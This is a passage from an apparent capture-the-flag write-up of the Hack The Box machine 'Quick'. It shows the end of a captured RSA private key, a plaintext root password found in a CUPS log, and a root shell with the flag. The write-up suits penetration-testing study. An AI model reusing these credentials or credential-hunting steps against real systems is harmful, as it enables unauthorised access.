Wp0/DlGaTtN+s+r/zu9Z8SECgYEAtfvuZvyK/ZWC6AS9oTiJWovNH0DfggsC82Ip
LHVsjBUBvGaSyvWaRlXDaNZsmMElRXVBncwM/+BPn33/2c4f5QyH2i67wNpYF0e/
2tvbkilIVqZ+ERKOxHhvQ8hzontbBCp5Vv4E/Q/3uTLPJUy5iL4ud7iJ8SOHQF4o
x5pnJSECgYEA4gk6oVOHMVtxrXh3ASZyQIn6VKO+cIXHj72RAsFAD/98intvVsA3
+DvKZu+NeroPtaI7NZv6muiaK7ZZgGcp4zEHRwxM+xQvxJpd3YzaKWZbCIPDDT/u
NJx1AkN7Gr9v4WjccrSk1hitPE1w6cmBNStwaQWD+KUUEeWYUAx20RA=
-----END RSA PRIVATE KEY-----
VATotal received bytes: 1685

I can now create an SSH session as the user srvadm, the next step is to gain root privileges.

Privilege Escalation

SSH session as srvadm

After I have established an SSH connection with the user account srvadm, I checked the files in the home directory. There are some hidden files, and I checked the /.cache/logs/cups.log file and I found the URL-encoded password of the root user.

1
srvadm@quick:~/.cache/logs$ cat cups.log
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
09:33:45 : envp[1]="CUPS_CACHEDIR=/var/cache/cups"                                                                                                                                       
09:33:45 : envp[2]="CUPS_DATADIR=/nix/store/5pwy8d9k4z6jp8n944nr8kf9lxihkg9w-cups-progs/share/cups"                                                                                      
09:33:45 : envp[3]="CUPS_DOCROOT=/nix/store/xjbig53iqwiwj05q0z4im2hxg571kzxz-cups-2.1.4/share/doc/cups"                                                                                  
09:33:45 : envp[4]="CUPS_FONTPATH=/nix/store/xjbig53iqwiwj05q0z4im2hxg571kzxz-cups-2.1.4/share/cups/fonts"                                                                               
09:33:45 : envp[5]="CUPS_REQUESTROOT=/var/spool/cups"                                                                                                                                    
09:33:45 : envp[6]="CUPS_SERVERBIN=/nix/store/5pwy8d9k4z6jp8n944nr8kf9lxihkg9w-cups-progs/lib/cups"                                                                                      
09:33:45 : envp[7]="CUPS_SERVERROOT=/etc/cups"                                                                                                                                           
09:33:45 : envp[8]="CUPS_STATEDIR=/var/run/cups"                                                                                                                                         
09:33:45 : envp[9]="HOME=/tmp"                                                                                                                                                           
09:33:45 : envp[10]="SERVER_ADMIN=root@quick"                                                                                                                                            
09:33:45 : envp[11]="SOFTWARE=CUPS/2.1.4"                                                                                                                                                
09:33:45 : envp[12]="TMPDIR=/tmp"                                                                                                                                                        
09:33:45 : envp[13]="USER=root"                                                                                                                                                          
09:33:45 : envp[14]="CUPS_MAX_MESSAGE=2047"                                                                                                                                              
09:33:45 : envp[15]="CUPS_SERVER=/var/run/cups/cups.sock"                                                                                                                                
09:33:45 : envp[16]="CUPS_ENCRYPTION=IfRequested"                                                                                                                                        
09:33:45 : envp[17]="IPP_PORT=631" 
...

Through the website https://urldecoder.org, I decoded the URL.

Hack-The-Box-Quick-URL-Decode

I left with the password: &ftQ4K3SGde8?.

SSH session as root

I created an SSH session as root and was able to read the root flag.

1
2
3
4
5
root@quick:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
quick
root@quick:~# cat root.txt 
d148bad23a38f5e9ca20f25e861f1a87

Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!

Don’t forget to respect Affix, he was an great help for me. Hack The Box profile from Affix: https://app.hackthebox.eu/users/6492.

Happy Hacking :-)

This post is licensed under CC BY 4.0 by the author.